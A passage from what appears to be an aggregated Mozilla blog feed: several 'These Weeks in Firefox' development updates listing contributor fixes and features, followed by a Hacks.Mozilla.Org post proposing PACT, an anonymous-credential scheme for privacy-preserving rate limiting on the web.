Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs


🌟Sahaj: Suggest the default target language for translation after changing the detected source language
🌟JIANG Zhirui: Breakpad build failed on Windows using VS2026 due to removal of stdext
 John Iweh: Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices
Jak: Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting
🌟Andy [:rgbcmy]: Autoplayed next video should also be PIP
 konyhéa: “Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.
 Pranjali Srivastava:

Remove icon property from sidebar extensions
Show language-agnostic SelectTranslations context menu item when the source and target languages are the same



Project Updates
Add-ons / Web Extensions
Addon Manager & about:addons

Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by Bug 1532724, fix shipping in Firefox 152) – Bug 1595158

WebExtensions Framework

Fixed access to web-accessible resources declared with  from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 – Bug 2033905

WebExtension APIs

Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs – Bug 2029092

DevTools

Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)

added support for remote debugging (#2014064, #2016121)
made sure that calls to History.replaceState are reflected in the UI (#2037359)


Julian Descottes [:jdescottes] fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (#2030260)
Nicolas Chevobbe [:nchevobbe] fixed the image preview tooltip for relative URLs images in constructed stylesheet (#2035503)
Julian Descottes [:jdescottes] reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (#2026228)

WebDriver

Amin Amir cleaned up an incorrect variable assignment in our browsingContext module.
Logan Rosen updated stale references and broken links in our documentation about Marionette.
Sameem improved the Marionette and WebDriver BiDi screenshot commands to enforce maximum allowed dimensions.
Leo McArdle fixed the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”.
Henrik Skupin fixed an issue in Marionette where WebDriver:Navigate and WebDriver:Refresh did not handle errors when the underlying navigation failed.
Henrik Skupin improved geckodriver to detect an early Firefox exit during startup on Android, avoiding up to 60 seconds of unnecessary connection attempts.
Henrik Skupin updated the geckodriver CI build job to produce a universal macOS binary supporting both x64 and aarch64.

Lint, Docs and Workflow

Sylvestre ported some linters (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words & more) to Rust to help improve the runtime of the code review bot.
Dale has been working on migration to moz-src for customkeys, dom/quota and odom/geolocation

https://arewemozsrcyet.com/



New Tab Page

We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.

We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.


Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.
Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!


Search and Urlbar

Nova (URL Bar Design Refresh)

Drew and Daisuke continued their work on Nova styling for the Address bar (input and view).


Search and Suggest

Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to update the localization string for scheduled games and another to show both teams’ icons in suggestions. Drew also landed and uplifted a fix for rich search suggestion icons being forced into a square aspect ratio.
Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.


Settings Redesign (SRD)

Stephanie landed a test to ensure search suggestion settings are hidden when quicksuggest is disabled, as well as a patch to resolve TypeScript issues in search.mjs, and is adding test coverage to confirm removed search engines are not displayed in the default engines dropdown.


General URL Bar and Component Updates

Daisuke landed implementation of the context menu on URL bar results, and a fix to show the loading URL in the URL bar when starting up with a homepage.

Marco is working on several tasks, including a PDF download / focus stealing issue and allowing arrays to be bound in Sqlite.sys.mjs. Marco also worked on fixes related to Places, such as avoiding replacing the favicons database if it is not corrupt.


Standard8 finalized the URL bar test manifest split. Standard8 also upgraded us to TypeScript 6.
Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (Bug 2032973), which was also uplifted. Moritz also simplified search mode switcher item activation in tests, and made it so that the unified search button popup closes when installing an open search engine.



Smart Window

natural language starting with tab close/undo 2035343 with expandable action log 2031508



assistant rendering feedback up/down 2032994 and markdown table 2027029
nova styling blur 2027877 and suggestions 2026823
accessibility screen reader 2028676 and keyboard focus 2037565
optimize conversation starters extra requests 2030005 and caching 2033430

Storybook/Reusable Components/Acorn Design System

Nova token updates occasionally, focused on SRD

UX Fundamentals

Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – 2035942

Settings Redesign

Settings redesign is being tested and will hopefully go out in Firefox 152!






Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204
Sat, 25 Jul 2026 08:37:31 +0200
Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.

You can try it out on this Instagram reel in Nightly





A note to WebExtension authors – as part of a planned deprecation announced last month, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 – Bug 2015559
Nicolas Chevobbe [:nchevobbe] added support and debugging for modern attr()(which is enabled on Nightly) (#2014751)


Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

Sam Johnson
Sebastian Zartner [:sebo]

New contributors (🌟 = first patch)

Immaculate Atim: Switch to using an array instead of an object string for browser.backup.enabled_on.profiles
liz: Screenshots overlay visible on both splitview browsers
🌟 Rahman Mahmutović [:r_m]: Can’t change content in box model in inspector for box-sizing:border-box elements
Takeru Mitsumori: Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html
🌟 Freya Arbjerg [:freyacodes]: Blackboxed columns are ignored
 tom.passarelli: tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide

Project Updates
Add-ons / Web Extensions
Addon Manager & about:addons

As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page – Bug 1881767

WebExtensions Framework

Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features – Bug 1745823
Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) – Bug 1904054

Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.



WebExtension APIs

Fixed handling of  as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install – Bug 1758306

DevTools

Rahman Mahmutović [:r_m] made it possible to edit width/height in the box model section of the Layout panel (#1717176)
Sebastian Zartner [:sebo] improved toggling tools driving in-page highlighters (e.g. the Measuring) (#1262773)
Sebastian Zartner [:sebo] added a setting to control visibility of HTML comments in the markup view (#1455294)
Freya Arbjerg [:freyacodes] fixed an issue in script blackboxing (#2036767)
Alexandre Poirot [:ochameau] replaced custom preference to log RDP messages with MOZ_LOG (#1622857)
Alexandre Poirot [:ochameau] fixed retrieval of garbage collected script text content (#1758454)

WebDriver

Sameem updated the “Take Element Screenshot” command from WebDriver Classic to crop screenshots of elements which exceed the viewport. This aligns with the specification and avoids errors when attempting to capture huge elements.
Alexandra Borovova updated the events for new top-level browsing contexts: we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used. This is required to align with the expected per-spec behavior.
Henrik Skupin landed a patch allowing geckodriver to gracefully shut down Firefox when geckodriver itself is terminated.
Hiroyuki Ikezoe disabled Firefox’s “scroll axis lock” feature so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.

Lint, Docs and Workflow

Added a rule to prevent new uses of Preferences.sys.mjs.
The browser environment globals within ESLint have now been updated. These include Sanitizer, VideoFrame and a few other new ones.
Temporal, and some other definitions have been added to TypeScript.

New Tab Page

Much has happened in the last 2 weeks! Here’s a full bug list, and here are some highlights.
Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (2033592) — prevents accidental list creation and improves the Lists UI reliability.
Maxx Crawford fixed Weather widget small card layout issues with opt-in location options and an error message displayed, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.
Reem Hamoui added key dates state to the Sports widget, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.
Scott Downe added a manage widgets option to the New Tab nova widgets context menu, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.
Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see Newtab widget base component.
Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see Convert widget expansion handling to shared widget expansion.
Nina Pypchenko [:nina-py] updated the Sports widget to populate the “follow teams” state from the /teams endpoint, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.
Scott Downe moved widget menu items within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.
Dre fixed a World Clock city search bug for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.
Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see Newtab small weather widget size change doesn’t always work.
Nina Pypchenko [:nina-py] added a group stage section to match highlights in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.
Dre fixed the small world clock widget not expanding to large while editing clocks so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.
Maxx Crawford added WCW OMC message strings so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.
Reem Hamoui added a “View all” button and a list view for the results tab at medium widget size so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.
Maxx Crawford added WCW “Watch Live” stream strings to the Sports widget strings bundle so the widget can surface a localized “Watch Live” CTA for applicable events.
Dre restored VoiceOver reachability for Edit/Remove in World Clock on macOS so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.
Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (2041033).
Mike Conley added New Tab jest tests to the node tests Tier 1 CI job Run newtab jest tests as part of node tests Tier 1 job to catch regressions earlier in CI
Irene Ni shipped multiple visual fixes for the Sports widget Sports widget – various visual fixes (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.

Picture-in-Picture

kpatenio adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably, especially when selecting videos from the YouTube search page.
Thanks to Sylvestre for patching some bugs to prevent some spurious console errors!
Niklas fixed captions on autopip videos failing to sync with the origin videos.

Performance Tools (aka Firefox Profiler)

Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.

https://www.npmjs.com/package/@firefox-devtools/profiler-cli
You can install it with npm install -g @firefox-devtools/profiler-cli@latest



Search and Urlbar
Nova UI refresh

Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.
2019154, 2019152, 2041501, 2040532

Suggest

Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.
2040561, 2039753, 2035614, 2038843

Adaptive autofill

James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.
2040819, 2037177

Quick actions

Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.
Caleb added Calculator support for certain unicode operators.
2023169, 1928635, 1923383, 2033861

Multi Context Address Bar

Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.
2039297, 2036095, 2039844, 2037933, 2030050

Other

Marco, Drew and Daisuke fixed several intermittent test failures.
2038510, 2023908, 2011584, 1938142, 1971091

Search

Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from resource://search-extensions/.
Caleb fixed multiple documentation issues and added a test covering searches from a private window.
1904613, 2035878, 2037942, 2033545, 2005724

Places

Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.
Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.
2039534, 1505800, 2008829, 2029541, 2035084






Firefox Nightly: Eyedropper Quick Action, geckodriver 0.37, and Tighter File Permissions – These Weeks in Firefox: Issue 205
Sat, 25 Jul 2026 08:37:28 +0200
Highlights

Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (Bug 1803575) on Nightly.



Henrik Skupin released geckodriver 0.37.0, which includes support for several new APIs and various bug fixes. See the release page for details.
Starting from Firefox 153, access to local file: URLs is being restricted by default.

Extensions now require an explicit “Access local files on your computer” permission, separate from broad host permissions, that users must grant.
Extensions can call the extension.isAllowedFileSchemeAccess() API to determine whether they have been granted access to file: URLs (Bug 2034168).



Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

:Vincent
Chris Vander Linden
DrSeed
Khalid AlHaddad
Sam Johnson

New contributors (🌟 = first patch)

Francis :mckenfra: tld service for webextensions
any1here: about:preferences#privacy is broken with MOZ_DATA_REPORTING false
pullmana8: Fix protocol/Actor.js to throw an Error instead of an Actor
RAN1: Firefox Crashes on Quit When Running Two Browsers With Separate Profiles

Project Updates
Accessibility

Morgan added a new accessibility-specific, front-end review skill to mozilla central! 🎉 You can read about it, and learn how to use it in the accessibility review source docs.

Add-ons / Web Extensions
Addon Manager & about:addons

Migrated addon-page-header and addon-card action buttons to the reusable moz-button web component as part of the ongoing Nova restyling of about:addons – Bug 2042200 / Bug 2042204
Extended moz-page-nav-button with a forwarded title property to fix an accessibility issue where the component lacked a label in collapsed state; Landed in Firefox 153, and uplifted to Firefox 152 for about:settings which was already riding the 152 release train – Bug 2040971
Fixed a shutdown-timing bug where a pending GMP update-check timer could fire after XPCOMShutdownThreads started, causing a pref write assertion; Fixed in Firefox 153 – Bug 2043803

WebExtensions Framework

Fixed MV2 content scripts incorrectly injecting into guarded hosts because MozDocumentMatcher::MatchesURI was not consulting CheckGuarded when mCheckPermissions was false; Fixed in Firefox 153 – Bug 2041393
Added support for accessing ObservableArray attributes (such as adoptedStyleSheets) from XrayWrappers and extension content scripts, unblocking extensions that rely on this Web API; Fixed in Firefox 153 – Bug 1751346
Wired runtime_blocked_hosts and runtime_allowed_hosts enterprise policy settings through ExtensionSettings to allow administrators to restrict extension host permissions on managed devices, starting in Firefox 153 – Bug 1805205

Thanks to Mike Kaply for implementing this enterprise policy enhancement.



WebExtension APIs

Fixed promiseTabWhenReady blocking indefinitely on discarded tabs, preventing cleanup of associated resources and potentially causing memory leaks; Fixed in Firefox 153 – Bug 1653876
Fixed webNavigation.onCommitted being dispatched twice for cross-origin iframes loaded under Fission, caused by a redundant OnStateChange trigger firing in addition to OnLocationChange; Fixed in Firefox 153 – Bug 1750196

DevTools

Chris Vander Linden made the Search input component shared as we plan to use it in the Netmonitor as well (#2019260, #2027580, #2027582)
pullmana8 improved error management in the DevTools protocol (#2031735)
Chris H-C :chutten removed Legacy Telemetry devtools instrumentation (#2039650)
:glob ✱ fixed an issue in the Inspector where the swatch color for variable in @starting-style rule could have the wrong color (#2016778)
Nicolas Chevobbe [:nchevobbe] exposed heading level more clearly in the accessibility tree (#1588784) and in the accessibility highlighter (#2044904)



Julian Descottes [:jdescottes] migrated the markup view to HTML (from XHTML) to fix an issue when editing the markup (CodeMirror 6 does not support XHTML) (#2028058)
Nicolas Chevobbe [:nchevobbe] fixed an issue in Netmonitor search where it could appear the the search stalled (#2042405)
Hubert Boma Manilla (:bomsy) added more connection information (ECH, Delegated Credentials, OCSP, Private DNS, …) in Netmonitor Security tab (#2036404)

WebDriver

Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently.
Khalid AlHaddad updated our codebase to use constants instead of hardcoded strings for all our session data types.
Alexandra Borovova updated the “emulation.setLocaleOverride” command to also apply a locale emulation in dedicated and shared workers.
Alexandra Borovova fixed a regression when there would be no “script.realmCreated” events after the cross-origin navigation.

Search and Urlbar

Dharma updated context search actions to trigger search instead of entering search mode @ 1945080
Daisuke and Drew worked on a lot of Nova updates, including ensuring Nova is tested @ 2041255, 2030183, 2019168, 2044849, 2033583
Moritz has worked on several refactorings to allow the urlbar to be used in content @ 2039828, 2039298, 2041280
Middle click paste replaces content was fixed by Moritz @ 2042893
Michel added feature to show registrable domain on desktop after its implementation on mobile @ 1986161



Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web
Sat, 25 Jul 2026 08:37:27 +0200
This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: if we think you might be a bot, you’re not welcome. 
Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans.  For example: SEO comment spam, credential stuffing and DDoSing. Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. 
Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are dismantling the passive signals that anti-abuse systems depended on to identify and distinguish visitors. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them faster and more reliably than humans. 
Many sites are switching to more invasive mechanisms and now ask visitors to disclose identifying information, e.g. an email address, a federated login or disabling their VPN. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. 
This leaves users with a dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. 
Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block both. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.
The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users who would otherwise want to consume their content or services. New user agents struggle to access the same content as conventional browsers. 
The Costs of Convenient Solutions
Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.
Google’s Web Environment Integrity, abandoned in 2023, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.
Apple’s Private Access Tokens, deployed across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.
However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. Due to PAT’s technical design^[1], there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would become tied to having bought expensive hardware from a small, hard to change set of vendors. 
Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.
A Better Path Forward 
Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they don’t actually need to know the user’s identity or receive cryptographic proof that they’re running approved software. If sites knew their visitors were restricted to a rate limit set by a site, that would be enough.  
Rate limits only make sense if they’re tied to something scarce; something an attacker can’t cheaply replicate to evade the limit. Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. 
However, hardware is just one option for scarcity. Anything a user already has that an attacker can’t trivially spin up at scale will work: email addresses and phone numbers are naturally scarce. A paid subscription costs an attacker the same as a real user.  Even maintaining an account on a free service requires some non-trivial work. 
What if we could use these scarce signals across the web? We could build an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. 
As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. 
The catch is that building a system that can enable this on the open web whilst maintaining user’s privacy is genuinely difficult. It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. Letting one site verify a signal from another is the sort of information flow that privacy-preserving browsers have spent the last decade locking down to prevent cross-site tracking. 
Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), it can be a win for both privacy and access.
The Foundations 
The good news is that the cryptographic foundations for a privacy preserving approach already exist. The Privacy Pass protocol, originally developed in 2018 to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is unlinkable between issuance and redemption. You prove something to an issuer (e.g. by solving a CAPTCHA), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. 

Figure 1: In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history. 
Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: Apple uses it to authenticate users of Private Cloud Compute and Private Relay without linking their activity to their identity, Chrome uses it for two-hop IP protection, and Kagi uses it to provide private search. These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. 
Applying this approach to an open system where any site can act as an issuer brings real challenges. Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. This compounds if sites can learn the set of issuers you have visited, since it becomes a fingerprint which can be used to identify you. 
Generic techniques exist for proving a statement in zero knowledge: we can prove that a client has a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. The generic approach is often slow, but bespoke approaches tailored to the underlying cryptography can improve this considerably. 
Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, sites are likely to lean towards conservative issuer selection. That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created. 
To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like Prio which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. 
Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per client basis, for example by increasing rate limits where they become more confident the client is benign and withdrawing access when abuse is detected. 
Anonymous Credit Tokens offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing the counter whenever the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. 
Putting it together 
So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a W3C CG Meeting in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. 
Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an Anchor. To a user who meets the Anchor’s criteria, like having a subscription, an account in good standing, or a verified phone number, an Anchor issues a batch of Endorsement tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys scarcity to other sites. 
That’s enough for a simple system where access is either granted or denied. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. The state needed to enforce a rate limit can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. 
We’ll call that the party that handles rate limiting for a site a Moderator and the stateful object a Credential. A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit. 
In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.

Figure 2: (1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time. 
Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of the Anchors it trusts, but not which one. 
When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as we would for any other third party site. The unlinkability of Credential presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it does provide a new way to grant access without requiring users to give up their privacy. 
Enabling Moderators that cover many sites carries a centralisation risk, similar to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. This can’t reverse the centralisation pressure the web already faces, but it ensures this system won’t lead to additional lock-in: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. 
The system then has three flows. First, the user receives Endorsements from an Anchor in the course of normal interaction, based on the Anchor’s positive view of the user. This is a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.

Figure 3: In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.
Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides which Anchor was used, and neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) could be used to bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.

Figure 4: When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server.  
Third, as the user browses, the browser presents the Credential and the Moderator updates the internal state of the Credential. The Moderator can reward behaviour that looks benign and penalize suspicious activity, but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers. Revocation falls out of the same mechanism: a Moderator can refuse to return an updated Credential. 

Figure 5: The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.
In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving users with meaningfully less friction. 
AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent behaves. Sites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. 
